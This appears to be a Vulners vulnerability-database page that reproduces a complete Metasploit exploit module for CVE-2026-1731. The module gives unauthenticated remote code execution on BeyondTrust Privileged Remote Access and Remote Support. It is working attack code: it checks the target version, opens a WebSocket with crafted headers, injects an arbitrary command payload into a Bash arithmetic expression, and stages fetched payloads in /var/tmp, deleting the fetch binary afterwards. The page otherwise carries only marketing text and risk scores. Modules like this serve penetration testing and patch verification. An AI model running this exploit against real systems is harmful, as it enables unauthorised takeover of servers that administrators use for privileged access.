Lucene search
K

BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution

🗓️ 25 Feb 2026 19:00:15Reported by Harsh Jaiswal, Jonah Burgess (CryptoCat)Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 325 Views

Exploits unauthenticated remote code execution in BeyondTrust Privileged Remote Access and Remote Support via multiple CVEs.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Beyondtrust
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http::WebSocket
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
        'Description' => %q{
          This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
          Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior.
          Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Harsh Jaiswal', # Discovery
          'Jonah Burgess (CryptoCat)' # Module
        ],
        'References' => [
          ['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
          ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
          ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
        ],
        'DisclosureDate' => '2026-02-06',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => false, # Executes as the site user.
        'Targets' => [
          [
            'Command Injection', {
              'Payload' => {
                'DisableNops' => true,
                # We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
                # We must avoid characters that break the subshell or the arithmetic structure.
                'BadChars' => '[$()]'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/var/tmp',
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true,
          # By default, a deployed site, like Remote Support, is expected to be located at the root path.
          'URIPATH' => '/'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_advanced_options(
      [
        OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
        OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
      ]
    )
  end

  def check
    version = get_version
    return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?

    version = Rex::Version.new(version)
    return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')

    CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
  end

  def exploit
    # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
    # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
    # establish a WebSocket connection to the target site application. By default, we query the target site to
    # discover this, however a user can manually set either the expected company name or FQDN as a module option.
    site_info = get_site_info

    if site_info.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
    end

    vprint_status("Company name: #{site_info[:company]}")
    vprint_status("Site FQDN: #{site_info[:server]}")

    headers = {
      # This is the vulnerable application which is reachable over a WebSocket to the target site.
      'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
    }

    if !site_info[:company].blank?
      print_status("Using company name: #{site_info[:company]}")

      headers['X-Ns-Company'] = site_info[:company]
    elsif !site_info[:server].blank?
      print_status("Using site FQDN: #{site_info[:server]}")

      headers['Host'] = site_info[:server]
    else
      fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
    end

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'nw'),
      'headers' => headers
    )

    prefix = Rex::Text.rand_text_alpha(rand(1..5))
    suffix = rand(0..5)

    wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")

    # Complete the sequence with randomized dummy data to avoid static artifacts
    wsock.put_wstext("#{SecureRandom.uuid}\n")     # remoteCookie
    wsock.put_wstext("#{rand(0..2)}\n")            # remoteAuthType (usually 0, 1, or 2)
    wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey

    while wsock.has_read_data? datastore['WFSDELAY']
      frame = wsock.get_wsframe

      break if frame.nil?

      if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
        print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
        break
      end
    end
    wsock.wsclose
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    if e.http_response && !e.http_response.body.blank?
      if e.http_response.body == 'Invalid company or app name'
        print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
      else
        print_error(e.http_response.body)
      end
    end
    fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2026 19:01Current
8High risk
Vulners AI Score8
CVSS 3.19.8
CVSS 49.9
EPSS0.86091
SSVC
325